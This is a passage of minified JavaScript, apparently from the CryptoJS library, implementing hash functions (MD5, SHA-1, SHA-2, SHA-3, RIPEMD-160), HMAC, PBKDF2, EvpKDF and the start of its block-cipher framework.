A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { 